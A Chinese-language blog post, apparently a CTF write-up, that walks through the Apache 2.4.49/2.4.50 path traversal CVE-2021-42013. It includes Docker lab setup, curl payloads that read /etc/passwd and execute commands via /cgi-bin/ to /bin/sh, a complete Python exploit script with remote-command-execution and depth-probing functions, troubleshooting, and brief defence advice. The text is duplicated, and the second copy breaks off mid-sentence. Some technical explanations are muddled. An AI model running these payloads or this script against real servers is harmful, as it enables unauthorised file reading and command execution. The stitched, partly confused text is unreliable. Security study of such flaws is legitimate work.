上一轮打某线上CTF,碰到一道看起来挺普通的Web题:一个Apache页面,没框架、没CMS,就一个静态站点加一个/cgi-bin/入口。队伍里几个老哥试了目录扫描、参数注入,忙活半天没进去。我盯着响应头里的Server: Apache/2.4.49愣了几秒,直接让他们把路径改成/.%2e/%2e%2e/%2e%2e/etc/passwd,结果目标真的把/etc/passwd吐出来了。那道题最终靠这个入口拿到flag,也让我把 CVE-2021-42013 的实战链路完整跑了一遍。这篇文章就从这道题出发,把漏洞根因、利用姿势、Python利用脚本和踩坑点全部拆开讲。内容面向打过一点Web安全基础、想搞懂路径穿越为什么要编码、CVE编号背后发生了什么的人。读完你可以自己在本地靶场完整复现,也能理解为什么 Apache 官方连续打了两个补丁才算把坑填上。1. 漏洞背景与影响范围分析1.1 这道CTF题到底卡在哪里当时那道题的环境描述只有一句话:某内部系统,Apache服务,疑似存在目录穿越。最开始我们测了很多常规路径,比如../、..%2f、..%5c这些,全部被WAF或者服务端规范化拦了。后来意识到版本是 2.4.49,而 2.4.49 正好爆出过一个路径穿越洞,CVE-2021-42013,网上被称为 CVE-2021-41773 的“绕过绕过版”。换句话说,41773 的修复不完整,攻击者换成非法双编码字符,就能把补丁绕过去。真正的突破口是/%2e%2e/这种形式。Apache 在解析 URL 时会做路径规范化(path normalization),把%2e解码成.,再把../合并。问题出在它对编码字符的解码只做了一遍,而某些路径经过文件系统层面的再次处理时,会触发二次解码,导致%2e%2e变成..,从而逃逸出 Web 根目录。CTF 题里最直观的验证就是读取/etc/passwd,一旦能读,就说明路径穿越已经成立。这个漏洞影响 Apache HTTP Server 2.4.49 以及 2.4.50。其中 2.4.49 是全版本通杀,2.4.50 是官方草率修复后依然存在绕过,真正彻底修复要升级到 2.4.51。放到实际场景里,当时互联网上有大量 2.4.49/2.4.50 的服务器暴露,很多是容器镜像没更新,所以这道题其实也是映射真实环境的。影响范围一旦涉及 RCE(远程命令执行),那就不是读文件那么简单了。1.2 漏洞影响不是“能不能读文件”而是“能不能执行命令”很多人看到 CVE-2021-42013 的第一反应是:这不就是个目录穿越读文件吗?危害有限。但实际利用链比这深一层。当被穿越的目标目录位于mod_cgi启用的目录(比如/cgi-bin/)时,攻击者可以穿越到/usr/bin/下,再通过 POST 请求让系统执行sh,直接把命令注入到请求体里,等于拿下 RCE。官方公告里写的是“path traversal and file disclosure”,后面又补充说“在特定配置下可导致远程命令执行”。这个“特定配置”指的就是mod_cgi被加载、且存在一个可以被穿越进去的 CGI 目录。CTF 题目特意保留了/cgi-bin/,所以不仅能读文件,还能直接执行命令。实际生产环境里,许多老旧的 Apache 默认配置不启用 CGI,但依然有大量使用了ScriptAlias的虚拟主机,或者通过AddHandler cgi-script支持 CGI 的应用,威胁面并不小。漏洞利用还有一个隐蔽点:即使目标开启了mod_proxy或mod_rewrite,也有可能出现转发路径处理不当的情况。但主流的利用路径还是对准mod_cgi。我们从后来的漏洞 EXP 里可以看到,攻击链非常短:先证明路径穿越能读文件,再证明能命中 CGI 目录里的解释器,最后通过 POST body 传命令,三步到位。2. 漏洞原理深度拆解2.1 为什么%2e%2e能绕过路径校验要理解这个漏洞,先看 Apache 对 URL 的标准化流程。Apache 在处理 HTTP 请求时,会调用一个规范化函数,把%XX解码,把路径中的.和..合并,得到干净的路径,再映射到文件系统。正常情况下,请求/cgi-bin/../../etc/passwd会被正确检测到..并拒绝。但攻击者如果把.写成%2e,规范化解码一次后得到../,Apache 会继续合并路径,造成穿越。这是 41773 的原理。CVE-2021-42013 更进一步,攻击者使用%2e%2e这种两次编码的形式,比如:/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd第一次解码后变成/cgi-bin/../../../../etc/passwd,而 Apache 在某些实现路径上没有对这个解码结果再次做..合并,而是交给文件系统去解析,文件系统把..再解析一次,最终访问到根目录之外。本质上是“解码动作的幂等性”没做好——你以为你解码过了,但底层子系统会再解一次。我们可以用生活类比来理解:你给小区保安看了你的“访客通行码”,保安把码中的特殊符号去掉了,觉得没问题;但你把码发给了电梯系统,电梯系统居然又去掉了一遍特殊符号,结果就把你带到了地下车库。每层都在做“信任但处理”,却没有统一对处理结果做终检。CTF 里常见的一个 payload 是:GET /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh其中.%2e就是编码后的..,加上后面的/%2e%2e/,最终解析到/bin/sh。这里要注意的是,直接写/bin/sh可能因为路径规范化被拦截,但编码后可以绕过,这就是“混淆”的力量。2.2 利用条件:mod_cgi 的配置与触发姿势命令执行比文件读取多一个条件:需要 Apache 把请求映射到 CGI 处理程序。常见配置如下:ScriptAlias /cgi-bin/ /usr/local/apache2/cgi-bin/ LoadModule cgi_module modules/mod_cgi.soScriptAlias将/cgi-bin/映射到一个真实目录,并且告诉 Apache:这个目录里的文件要用 cgi-script 处理器来跑。攻击者通过路径穿越,把/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh解析成/bin/sh,而因为 URL 前缀仍然以/cgi-bin/开头,Apache 认为这是一个 CGI 请求,于是去执行映射后的/bin/sh。POST 请求体中的内容会被当作标准输入(stdin)传给/bin/sh。这样,攻击者在 POST body 里写:echo; id命令执行结果会作为响应返回。echo;是因为/bin/sh在 CGI 模式下需要先输出一个合法的响应头,否则 Apache 会认为输出不是合法的 CGI 响应,可能报错或不返回。加一个echo;相当于输出一个空行,让后续的输出变成 CGI 响应的正文。这里还要注意,请求原本路径中/bin/sh前面需要经过多层../,有时候写到根目录需要几个..。直接猜可能不准,所以实战脚本里通常会把穿越层数固定为 6 到 8 层,比如:/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh多写几层无伤大雅,反正..合并到根目录后不会继续往上越界。太多层也一般不会出错,所以利用脚本里可以保持一个足够大的层数。2.3 与 CVE-2021-41773 的区别及补丁演进CVE-2021-41773 是 2.4.49 引入的路径穿越,利用方式是单层编码%2e绕过。官方在 2.4.50 里做了修复,但修复逻辑只处理了%2e,没有处理%2e%2e这种双编码形式,于是 2.4.50 仍然可以绕过,这就是 CVE-2021-42013。从本质上看,两个漏洞共享同一套不完善的路径规范化代码,只是攻击负载的编码层数不同。版本漏洞状态利用示例2.4.49存在 41773 / 42013/%2e%2e/可直接穿越2.4.5041773 已修复,42013 仍存在/.%2e/%2e%2e/可绕过2.4.51+两者均已修复所有变种被拦截官方最终修复方式是:在路径规范化时,如果发现%2e解码后出现../或.,直接返回 400。同时不再允许 URL 中包含未编码的%2e%2e。也就是说,他们选择了“宁可错杀,不可漏网”的思路:合法 URL 中几乎不会出现这种双点编码,所以直接拒绝是安全的。实战中,验证目标是否存在漏洞,不需要直接打 RCE。先请求/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd,如果返回root:x:0:0:之类的行,就说明可穿越且位于 CGI 目录下。这里有一个关键:如果目标没有启用 CGI,那么请求/etc/passwd也能读取文件,但不会执行命令。所以读文件测试和 RCE 测试要分开判断。3. 实战利用过程与Python脚本实现3.1 本地靶场环境搭建为了安全验证这套利用链,我建议在 Docker 里搭一个 2.4.49 的靶场。不要拿公网机器测,也不要拿生产环境测。直接拉官方镜像:docker run --rm -p 8080:80 -d httpd:2.4.49这个镜像默认没有开启 CGI,所以需要自定义配置文件。用一个临时目录挂载:mkdir apache-lab cd apache-lab mkdir cgi-bin写一个httpd.conf,关键配置如下:ServerRoot "/usr/local/apache2" LoadModule mpm_event_module modules/mod_mpm_event.so LoadModule authz_core_module modules/mod_authz_core.so LoadModule unixd_module modules/mod_unixd.so LoadModule cgi_module modules/mod_cgi.so Listen 80 ServerName localhost DocumentRoot "/usr/local/apache2/htdocs" <Directory "/usr/local/apache2/htdocs"> Require all granted </Directory> ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/" <Directory "/usr/local/apache2/cgi-bin"> Require all granted </Directory>然后启动容器:docker run --rm -p 8080:80 \ -v $PWD/httpd.conf:/usr/local/apache2/conf/httpd.conf \ -v $PWD/cgi-bin:/usr/local/apache2/cgi-bin \ httpd:2.4.49此时访问http://127.0.0.1:8080/cgi-bin/printenv测试 CGI 是否正常。如果没有现成的 CGI 脚本,可以放一个简单脚本:#!/bin/sh echo "Content-Type: text/plain" echo echo "hello cgi"并设置可执行权限。启动后如果看到 hello cgi,说明环境就绪。3.2 读取敏感文件的探测步骤环境搭好后,先做文件读取验证。用 curl 发一个编码路径:curl -i 'http://127.0.0.1:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'如果返回 200,并且 body 里有root:*:0:0:这样的内容,说明路径穿越成功。注意这里请求行里的 URL 必须保持原始编码,curl不会自动二次解码,这对于发送裸编码很有帮助。如果直接访问没回显,可以试试:curl -i 'http://127.0.0.1:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'不同层数的..会影响到根目录,所以多试几个深度。写脚本时可以直接用一个循环把 depth 从 3 测到 10,每层都发一遍,命中/etc/passwd就停。这种爆破式探测很实用,因为有时候路径解析会吃掉一层..,导致固定层数失效。3.3 从文件读取到命令执行的关键一跳命令执行的关键在于路径末尾不再指向/bin/sh,而是bin/sh。比如:curl -i -X POST \ 'http://127.0.0.1:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' \ --data 'echo; id'服务器会返回:uid=1(daemon) gid=1(daemon) groups=1(daemon)如果看到这个,说明 RCE 成立。这证明了前面读文件时,请求已经被强制映射到 CGI 处理器,所以/bin/sh被执行。这里有个重要的细节:POST body 里的第一行如果是echo;,相当于输出一个空行,让 CGI 响应头结束。如果不加echo;,也经常会成功,但有时 Apache 会因为“malformed header”把响应拦掉,输出会被吞。所以稳妥的做法是每次命令前都先输出一个空行。执行命令时可以配合 URL 编码,也可以直接在 body 里写多行命令。比如执行反弹 shell 这种操作需要谨慎,靶场里可以用whoami、ls -la、cat /flag验证。实际利用里,攻击者会把命令 base64 编码后传输,避免特殊字符引起服务端解析问题,但那是后话。3.4 完整的Python利用脚本在 CTF 里反复手敲 curl 效率太低,我习惯把利用链写成一个 Python 脚本。这里用的是标准库urllib.request,不依赖 requests,靶场里也能跑。#!/usr/bin/env python3 import urllib.request import urllib.error TARGET = "http://127.0.0.1:8080" def read_file(path="/etc/passwd", depth=5): traversal = "/".join([".."] * depth) encoded = traversal.replace("../", ".%2e/") # 关键编码 url = f"{TARGET}/cgi-bin/{encoded}{path}" try: req = urllib.request.Request(url) resp = urllib.request.urlopen(req, timeout=5) return resp.status, resp.read().decode("utf-8", errors="ignore") except urllib.error.HTTPError as e: return e.code, e.read().decode("utf-8", errors="ignore") def rce(command): traversal = "/".join([".."] * 6) encoded = traversal.replace("../", ".%2e/") url = f"{TARGET}/cgi-bin/{encoded}bin/sh" payload = "echo; " + command req = urllib.request.Request(url, data=payload.encode(), method="POST") try: resp = urllib.request.urlopen(req, timeout=5) return resp.status, resp.read().decode("utf-8", errors="ignore") except urllib.error.HTTPError as e: return e.code, e.read().decode("utf-8", errors="ignore") if __name__ == "__main__": status, body = read_file() print("read /etc/passwd ->", status) print(body[:200]) status, body = rce("id") print("rce id ->", status) print(body)这段脚本里的核心把戏是traversal.replace("../", ".%2e/"),它把/../../..变成/.%2e/%2e%2e/...这种形式。为什么要这样处理?因为我们要的是每个..都被编码成.+%2e的组合,而不是整体全部编码成%2e%2e。实际测试中.%2e和%2e%2e混用是成功率最高的,这也是从公开 EXP 里总结出来的经验。真实使用的时候,建议把depth调成自动探测。可以写一个循环:for depth in range(3, 10): status, body = read_file("/etc/passwd", depth) if status == 200 and "root:" in body: print("found depth:", depth) break这样不管目标系统路径层级有多少,都能找到合适的穿越深度。不过要注意,Docker 容器里的 Apache 根目录结构比较标准,3 到 5 层基本就够了。宿主系统映射出来的虚拟主机可能结构不同,自动探测更可靠。执行命令时,如果要跑ls -la /,直接把命令传进 rce() 就行:status, body = rce("ls -la /") print(body)如果结果里出现目录列表,说明命令没有因为空格或参数被截断。如果出现乱码或者只回显空行,通常是 CGI 输出头问题,可以尝试在 payload 前面多加几个echo;空行,或者用;分隔命令。4. 常见问题与排查技巧实录4.1 为什么打出来的只有 403,没有回显最常见的现象是请求返回 403 Forbidden,而别人说“一打就穿”。这大概率是路径编码的姿势不对。有些人写成了%2e%2e/%2e%2e,但这里有个坑:Apache 在某些版本里会把%2e%2e整体解码成..,然后在路径合并时检测到非法而直接拒绝。而.%2e/%2e%2e的形式在部分上下文中可以绕过检测,因为原始字符串里没有完整的..字面量,解码后却变成了../。我给一段实际测试过的对比:请求:/cgi-bin/%2e%2e/%2e%2e/%2e%2e/etc/passwd 结果:403 请求:/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd 结果:200 带文件内容第一种形式在 2.4.49 上有时也能命中,但更稳定的还是第二种。如果 403 一直存在,检查一下是否请求了已经修复的版本。很多老文章写的 payload 在 2.4.50 上可能失效,需要换成.%2e混编模式。另外,如果目标前面有反向代理,代理可能会重写 URL,把%2e解码成.,这也会导致服务端看不到编码字符。这种情况下需要先看代理是否透传原始 URI,如果代理做了二次规范化,编码绕过基本失效。4.2 文件读取成功,但命令执行不回显读 /etc/passwd 成功,但换成/bin/sh执行id却没有输出。这种问题我至少遇到三次。排查顺序如下:确认 URL 末尾是否真的是/bin/sh,不是/usr/bin/sh——有些系统/bin/sh是符号链接,但 Apache 是否能遍历到,与目录权限有关。确认 POST body 开头是否有echo;或echo加空行。如果没有,Apache 会把命令输出当成 CGI 响应头解析,导致malformed header错误。确认 Content-Type 没被多余设置影响。curl 默认的application/x-www-form-urlencoded没影响,但有些脚本会加Content-Type: text/plain,也不影响。确认路径穿越层数是否足够。如果不够,请求最终落在/cgi-bin/bin/sh,路径不存在,返回 404;如果太多,会合到根目录再往上,效果等同根目录,不会出错,但有些版本会返回 400。建议用自动深度探测。除了这些,还可以尝试把/bin/sh改成/bin/bash。有些系统默认 sh 的行为比较怪,或者没装 bash,但 sh 是肯定存在的。如果怀疑是 CGI 执行超时,可以在命令后用; echo done标记,看能否收到 end 标识。4.3 修复后的版本怎么确认和防御如果你是自己维护的服务器,想确认是否修复,直接查版本号还不够,因为很多发行版会 backport 安全补丁而不改版本号。最可靠的办法是实际发一次探测请求,但注意要在授权范围内。防御层面,Apache 官方推荐升级到 2.4.51 及以上。同时,如果默认不需要 CGI,直接禁用mod_cgi,把ScriptAlias删除,就能堵死 RCE 的入口。还可以用 WAF 规则拦截包含%2e或..%的路径,但这属于治标。因为编码形式太多,WAF 规则很难穷尽。最彻底的修复是升级。如果无法立刻升级,可以临时把Require all denied应用到/usr/local/apache2/cgi-bin/目录,阻断外部访问,但这样会牺牲业务功能。生产环境里我见过一个真实案例:管理员以为升级到 2.4.50 就安全了,结果渗透测试用.%2e变种直接绕过去,拿到了/etc/shadow的读取权限。所以千万别只看到版本号带 50 就放松。升级后要重新跑一遍探测脚本,确认返回 400 或 403 才算完。5. 实战之外的一些心得这道 CTF 题给我的启发不是“背 payload”,而是理解解析流程中的信任边界。Apache 在处理 URL 时做了一次规范化,但文件系统、CGI 处理器可能会再做一次,导致“多次解码”的漏洞。类似的问题在 Nginx、Tomcat 里也出现过,原理其实都是对编码字符的处理不够统一。我在实际渗透测试中,发现很多开发人员对路径穿越的理解还停留在/../层面,不知道%2e和%2e%2e能绕过多层检测。所以写这篇文章时,我特意没有只贴一条 curl 命令,而是把从读文件到 RCE 的完整链路讲清楚。希望你在自己搭建的靶场里,用上面的脚本跑通一遍,会对“路径规范化”这个概念有更深的感受。另外一个小建议:CTF 里遇到 Apache 的题,第一步先看 Server 版本,第二步直接测编码穿越,第三步再考虑打别的点。很多题目就是拿旧版镜像改个 flag,这种“送分”路径一旦绕过,比堆漏洞组合更高效。但别只在 CTF 里用,搞清楚原理之后,如果哪天你接手了老旧 Apache 服务器,这套探测方法能帮你快速判断是否需要紧急升级。
上一轮打某线上CTF,碰到一道看起来挺普通的Web题:一个Apache页面,没框架、没CMS,就一个静态站点加一个/cgi-bin/入口。队伍里几个老哥试了目录扫描、参数注入,忙活半天没进去。我盯着响应头里的Server: Apache/2.4.49愣了几秒,直接让他们把路径改成/.%2e/%2e%2e/%2e%2e/etc/passwd,结果目标真的把/etc/passwd吐出来了。那道题最终靠这个入口拿到flag,也让我把 CVE-2021-42013 的实战链路完整跑了一遍。这篇文章就从这道题出发,把漏洞根因、利用姿势、Python利用脚本和踩坑点全部拆开讲。内容面向打过一点Web安全基础、想搞懂路径穿越为什么要编码、CVE编号背后发生了什么的人。读完你可以自己在本地靶场完整复现,也能理解为什么 Apache 官方连续打了两个补丁才算把坑填上。1. 漏洞背景与影响范围分析1.1 这道CTF题到底卡在哪里当时那道题的环境描述只有一句话:某内部系统,Apache服务,疑似存在目录穿越。最开始我们测了很多常规路径,比如../、..%2f、..%5c这些,全部被WAF或者服务端规范化拦了。后来意识到版本是 2.4.49,而 2.4.49 正好爆出过一个路径穿越洞,CVE-2021-42013,网上被称为 CVE-2021-41773 的“绕过绕过版”。换句话说,41773 的修复不完整,攻击者换成非法双编码字符,就能把补丁绕过去。真正的突破口是/%2e%2e/这种形式。Apache 在解析 URL 时会做路径规范化(path normalization),把%2e解码成.,再把../合并。问题出在它对编码字符的解码只做了一遍,而某些路径经过文件系统层面的再次处理时,会触发二次解码,导致%2e%2e变成..,从而逃逸出 Web 根目录。CTF 题里最直观的验证就是读取/etc/passwd,一旦能读,就说明路径穿越已经成立。这个漏洞影响 Apache HTTP Server 2.4.49 以及 2.4.50。其中 2.4.49 是全版本通杀,2.4.50 是官方草率修复后依然存在绕过,真正彻底修复要升级到 2.4.51。放到实际场景里,当时互联网上有大量 2.4.49/2.4.50 的服务器暴露,很多是容器镜像没更新,所以这道题其实也是映射真实环境的。影响范围一旦涉及 RCE(远程命令执行),那就不是读文件那么简单了。1.2 漏洞影响不是“能不能读文件”而是“能不能执行命令”很多人看到 CVE-2021-42013 的第一反应是:这不就是个目录穿越读文件吗?危害有限。但实际利用链比这深一层。当被穿越的目标目录位于mod_cgi启用的目录(比如/cgi-bin/)时,攻击者可以穿越到/usr/bin/下,再通过 POST 请求让系统执行sh,直接把命令注入到请求体里,等于拿下 RCE。官方公告里写的是“path traversal and file disclosure”,后面又补充说“在特定配置下可导致远程命令执行”。这个“特定配置”指的就是mod_cgi被加载、且存在一个可以被穿越进去的 CGI 目录。CTF 题目特意保留了/cgi-bin/,所以不仅能读文件,还能直接执行命令。实际生产环境里,许多老旧的 Apache 默认配置不启用 CGI,但依然有大量使用了ScriptAlias的虚拟主机,或者通过AddHandler cgi-script支持 CGI 的应用,威胁面并不小。漏洞利用还有一个隐蔽点:即使目标开启了mod_proxy或mod_rewrite,也有可能出现转发路径处理不当的情况。但主流的利用路径还是对准mod_cgi。我们从后来的漏洞 EXP 里可以看到,攻击链非常短:先证明路径穿越能读文件,再证明能命中 CGI 目录里的解释器,最后通过 POST body 传命令,三步到位。2. 漏洞原理深度拆解2.1 为什么%2e%2e能绕过路径校验要理解这个漏洞,先看 Apache 对 URL 的标准化流程。Apache 在处理 HTTP 请求时,会调用一个规范化函数,把%XX解码,把路径中的.和..合并,得到干净的路径,再映射到文件系统。正常情况下,请求/cgi-bin/../../etc/passwd会被正确检测到..并拒绝。但攻击者如果把.写成%2e,规范化解码一次后得到../,Apache 会继续合并路径,造成穿越。这是 41773 的原理。CVE-2021-42013 更进一步,攻击者使用%2e%2e这种两次编码的形式,比如:/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd第一次解码后变成/cgi-bin/../../../../etc/passwd,而 Apache 在某些实现路径上没有对这个解码结果再次做..合并,而是交给文件系统去解析,文件系统把..再解析一次,最终访问到根目录之外。本质上是“解码动作的幂等性”没做好——你以为你解码过了,但底层子系统会再解一次。我们可以用生活类比来理解:你给小区保安看了你的“访客通行码”,保安把码中的特殊符号去掉了,觉得没问题;但你把码发给了电梯系统,电梯系统居然又去掉了一遍特殊符号,结果就把你带到了地下车库。每层都在做“信任但处理”,却没有统一对处理结果做终检。CTF 里常见的一个 payload 是:GET /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh其中.%2e就是编码后的..,加上后面的/%2e%2e/,最终解析到/bin/sh。这里要注意的是,直接写/bin/sh可能因为路径规范化被拦截,但编码后可以绕过,这就是“混淆”的力量。2.2 利用条件:mod_cgi 的配置与触发姿势命令执行比文件读取多一个条件:需要 Apache 把请求映射到 CGI 处理程序。常见配置如下:ScriptAlias /cgi-bin/ /usr/local/apache2/cgi-bin/ LoadModule cgi_module modules/mod_cgi.soScriptAlias将/cgi-bin/映射到一个真实目录,并且告诉 Apache:这个目录里的文件要用 cgi-script 处理器来跑。攻击者通过路径穿越,把/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh解析成/bin/sh,而因为 URL 前缀仍然以/cgi-bin/开头,Apache 认为这是一个 CGI 请求,于是去执行映射后的/bin/sh。POST 请求体中的内容会被当作标准输入(stdin)传给/bin/sh。这样,攻击者在 POST body 里写:echo; id命令执行结果会作为响应返回。echo;是因为/bin/sh在 CGI 模式下需要先输出一个合法的响应头,否则 Apache 会认为输出不是合法的 CGI 响应,可能报错或不返回。加一个echo;相当于输出一个空行,让后续的输出变成 CGI 响应的正文。这里还要注意,请求原本路径中/bin/sh前面需要经过多层../,有时候写到根目录需要几个..。直接猜可能不准,所以实战脚本里通常会把穿越层数固定为 6 到 8 层,比如:/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh多写几层无伤大雅,反正..合并到根目录后不会继续往上越界。太多层也一般不会出错,所以利用脚本里可以保持一个足够大的层数。2.3 与 CVE-2021-41773 的区别及补丁演进CVE-2021-41773 是 2.4.49 引入的路径穿越,利用方式是单层编码%2e绕过。官方在 2.4.50 里做了修复,但修复逻辑只处理了%2e,没有处理%2e%2e这种双编码形式,于是 2.4.50 仍然可以绕过,这就是 CVE-2021-42013。从本质上看,两个漏洞共享同一套不完善的路径规范化代码,只是攻击负载的编码层数不同。版本漏洞状态利用示例2.4.49存在 41773 / 42013/%2e%2e/可直接穿越2.4.5041773 已修复,42013 仍存在/.%2e/%2e%2e/可绕过2.4.51+两者均已修复所有变种被拦截官方最终修复方式是:在路径规范化时,如果发现%2e解码后出现../或.,直接返回 400。同时不再允许 URL 中包含未编码的%2e%2e。也就是说,他们选择了“宁可错杀,不可漏网”的思路:合法 URL 中几乎不会出现这种双点编码,所以直接拒绝是安全的。实战中,验证目标是否存在漏洞,不需要直接打 RCE。先请求/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd,如果返回root:x:0:0:之类的行,就说明可穿越且位于 CGI 目录下。这里有一个关键:如果目标没有启用 CGI,那么请求/etc/passwd也能读取文件,但不会执行命令。所以读文件测试和 RCE 测试要分开判断。3. 实战利用过程与Python脚本实现3.1 本地靶场环境搭建为了安全验证这套利用链,我建议在 Docker 里搭一个 2.4.49 的靶场。不要拿公网机器测,也不要拿生产环境测。直接拉官方镜像:docker run --rm -p 8080:80 -d httpd:2.4.49这个镜像默认没有开启 CGI,所以需要自定义配置文件。用一个临时目录挂载:mkdir apache-lab cd apache-lab mkdir cgi-bin写一个httpd.conf,关键配置如下:ServerRoot "/usr/local/apache2" LoadModule mpm_event_module modules/mod_mpm_event.so LoadModule authz_core_module modules/mod_authz_core.so LoadModule unixd_module modules/mod_unixd.so LoadModule cgi_module modules/mod_cgi.so Listen 80 ServerName localhost DocumentRoot "/usr/local/apache2/htdocs" <Directory "/usr/local/apache2/htdocs"> Require all granted </Directory> ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/" <Directory "/usr/local/apache2/cgi-bin"> Require all granted </Directory>然后启动容器:docker run --rm -p 8080:80 \ -v $PWD/httpd.conf:/usr/local/apache2/conf/httpd.conf \ -v $PWD/cgi-bin:/usr/local/apache2/cgi-bin \ httpd:2.4.49此时访问http://127.0.0.1:8080/cgi-bin/printenv测试 CGI 是否正常。如果没有现成的 CGI 脚本,可以放一个简单脚本:#!/bin/sh echo "Content-Type: text/plain" echo echo "hello cgi"并设置可执行权限。启动后如果看到 hello cgi,说明环境就绪。3.2 读取敏感文件的探测步骤环境搭好后,先做文件读取验证。用 curl 发一个编码路径:curl -i 'http://127.0.0.1:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'如果返回 200,并且 body 里有root:*:0:0:这样的内容,说明路径穿越成功。注意这里请求行里的 URL 必须保持原始编码,curl不会自动二次解码,这对于发送裸编码很有帮助。如果直接访问没回显,可以试试:curl -i 'http://127.0.0.1:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'不同层数的..会影响到根目录,所以多试几个深度。写脚本时可以直接用一个循环把 depth 从 3 测到 10,每层都发一遍,命中/etc/passwd就停。这种爆破式探测很实用,因为有时候路径解析会吃掉一层..,导致固定层数失效。3.3 从文件读取到命令执行的关键一跳命令执行的关键在于路径末尾不再指向/bin/sh,而是bin/sh。比如:curl -i -X POST \ 'http://127.0.0.1:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' \ --data 'echo; id'服务器会返回:uid=1(daemon) gid=1(daemon) groups=1(daemon)如果看到这个,说明 RCE 成立。这证明了前面读文件时,请求已经被强制映射到 CGI 处理器,所以/bin/sh被执行。这里有个重要的细节:POST body 里的第一行如果是echo;,相当于输出一个空行,让 CGI 响应头结束。如果不加echo;,也经常会成功,但有时 Apache 会因为“malformed header”把响应拦掉,输出会被吞。所以稳妥的做法是每次命令前都先输出一个空行。执行命令时可以配合 URL 编码,也可以直接在 body 里写多行命令。比如执行反弹 shell 这种操作需要谨慎,靶场里可以用whoami、ls -la、cat /flag验证。实际利用里,攻击者会把命令 base64 编码后传输,避免特殊字符引起服务端解析问题,但那是后话。3.4 完整的Python利用脚本在 CTF 里反复手敲 curl 效率太低,我习惯把利用链写成一个 Python 脚本。这里用的是标准库urllib.request,不依赖 requests,靶场里也能跑。#!/usr/bin/env python3 import urllib.request import urllib.error TARGET = "http://127.0.0.1:8080" def read_file(path="/etc/passwd", depth=5): traversal = "/".join([".."] * depth) encoded = traversal.replace("../", ".%2e/") # 关键编码 url = f"{TARGET}/cgi-bin/{encoded}{path}" try: req = urllib.request.Request(url) resp = urllib.request.urlopen(req, timeout=5) return resp.status, resp.read().decode("utf-8", errors="ignore") except urllib.error.HTTPError as e: return e.code, e.read().decode("utf-8", errors="ignore") def rce(command): traversal = "/".join([".."] * 6) encoded = traversal.replace("../", ".%2e/") url = f"{TARGET}/cgi-bin/{encoded}bin/sh" payload = "echo; " + command req = urllib.request.Request(url, data=payload.encode(), method="POST") try: resp = urllib.request.urlopen(req, timeout=5) return resp.status, resp.read().decode("utf-8", errors="ignore") except urllib.error.HTTPError as e: return e.code, e.read().decode("utf-8", errors="ignore") if __name__ == "__main__": status, body = read_file() print("read /etc/passwd ->", status) print(body[:200]) status, body = rce("id") print("rce id ->", status) print(body)这段脚本里的核心把戏是traversal.replace("../", ".%2e/"),它把/../../..变成/.%2e/%2e%2e/...这种形式。为什么要这样处理?因为我们要的是每个..都被编码成.+%2e的组合,而不是整体全部编码成%2e%2e。实际测试中.%2e和%2e%2e混用是成功率最高的,这也是从公开 EXP 里总结出来的经验。真实使用的时候,建议把depth调成自动探测。可以写一个循环:for depth in range(3, 10): status, body = read_file("/etc/passwd", depth) if status == 200 and "root:" in body: print("found depth:", depth) break这样不管目标系统路径层级有多少,都能找到合适的穿越深度。不过要注意,Docker 容器里的 Apache 根目录结构比较标准,3 到 5 层基本就够了。宿主系统映射出来的虚拟主机可能结构不同,自动探测更可靠。执行命令时,如果要跑ls -la /,直接把命令传进 rce() 就行:status, body = rce("ls -la /") print(body)如果结果里出现目录列表,说明命令没有因为空格或参数被截断。如果出现乱码或者只回显空行,通常是 CGI 输出头问题,可以尝试在 payload 前面多加几个echo;空行,或者用;分隔命令。4. 常见问题与排查技巧实录4.1 为什么打出来的只有 403,没有回显最常见的现象是请求返回 403 Forbidden,而别人说“一打就穿”。这大概率是路径编码的姿势不对。有些人写成了%2e%2e/%2e%2e,但这里有个坑:Apache 在某些版本里会把%2e%2e整体解码成..,然后在路径合并时检测到非法而直接拒绝。而.%2e/%2e%2e的形式在部分上下文中可以绕过检测,因为原始字符串里没有完整的..字面量,解码后却变成了../。我给一段实际测试过的对比:请求:/cgi-bin/%2e%2e/%2e%2e/%2e%2e/etc/passwd 结果:403 请求:/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd 结果:200 带文件内容第一种形式在 2.4.49 上有时也能命中,但更稳定的还是第二种。如果 403 一直存在,检查一下是否请求了已经修复的版本。很多老文章写的 payload 在 2.4.50 上可能失效,需要换成.%2e混编模式。另外,如果目标前面有反向代理,代理可能会重写 URL,把%2e解码成.,这也会导致服务端看不到编码字符。这种情况下需要先看代理是否透传原始 URI,如果代理做了二次规范化,编码绕过基本失效。4.2 文件读取成功,但命令执行不回显读 /etc/passwd 成功,但换成/bin/sh执行id却没有输出。这种问题我至少遇到三次。排查顺序如下:确认 URL 末尾是否真的是/bin/sh,不是/usr/bin/sh——有些系统/bin/sh是符号链接,但 Apache 是否能遍历到,与目录权限有关。确认 POST body 开头是否有echo;或echo加空行。如果没有,Apache 会把命令输出当成 CGI 响应头解析,导致malformed header错误。确认 Content-Type 没被多余设置影响。curl 默认的application/x-www-form-urlencoded没影响,但有些脚本会加Content-Type: text/plain,也不影响。确认路径穿越层数是否足够。如果不够,请求最终落在/cgi-bin/bin/sh,路径不存在,返回 404;如果太多,会合到根目录再往上,效果等同根目录,不会出错,但有些版本会返回 400。建议用自动深度探测。除了这些,还可以尝试把/bin/sh改成/bin/bash。有些系统默认 sh 的行为比较怪,或者没装 bash,但 sh 